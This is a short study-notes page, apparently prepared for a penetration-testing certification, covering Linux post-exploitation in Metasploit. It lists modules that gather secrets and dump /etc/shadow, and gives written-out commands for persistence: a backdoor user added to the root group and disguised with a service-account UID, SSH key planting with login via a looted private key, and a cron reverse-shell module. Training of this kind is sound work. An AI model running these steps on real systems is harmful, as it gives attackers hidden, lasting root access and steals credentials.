Skip to content
Home

Linux post-exploitation and persistence

Metasploit post modules for Linux enumeration, plus persistence via new user, cron, service, and SSH key.

msfconsole·1 min read··INE Certification

After landing a root-level Linux session, the gold standard for post-exploitation is to understand the environment, set up a way back in, and leave minimal trace.

Linux post-exploitation gather modules

All these modules require a SESSION.

ModulePurpose
post/linux/gather/enum_configscommon config files (/etc, web server configs, etc.)
post/multi/gather/envenvironment variables that contain secrets
post/linux/gather/enum_networkinterfaces, routes, arp cache, connections
post/linux/gather/enum_systemOS version, users, groups, sudo config
post/linux/gather/enum_users_historybash_history, recently accessed files
post/linux/gather/checkcontainerare we inside containers?
post/linux/gather/checkvmare we in a virtual machine?
post/linux/gather/hashdump/etc/shadow dump

Persistence through a backdoor user

useradd -m backdoor -s /bin/bash    # create a user with a home dir and bash shell
passwd backdoor                     # set a password
usermod -aG root backdoor           # add the user to the root group
usermod -u 15 backdoor              # optional: change the UID to a low number that looks like a service account

Persistence through an SSH key

# From an MSF session:
use post/linux/manage/sshkey_persistence
set CREATESSHFOLDER true
set SESSION <id>
run
# This creates SSH keypairs for every user and stores private keys as loot

loot                                  # find the saved private key path
# On attacker machine:
vim ssh_key
# paste the private key
chmod 0400 ssh_key
ssh -i ssh_key root@<target_ip>       # passwordless login going forward

Persistence through cron reverse shell

use exploit/linux/local/cron_persistence
set SESSION <id>
run
  • When creating backdoor users, use usermod -u to assign a UID in the system service account range (under 1000 on most distros). This makes the account look like a service account.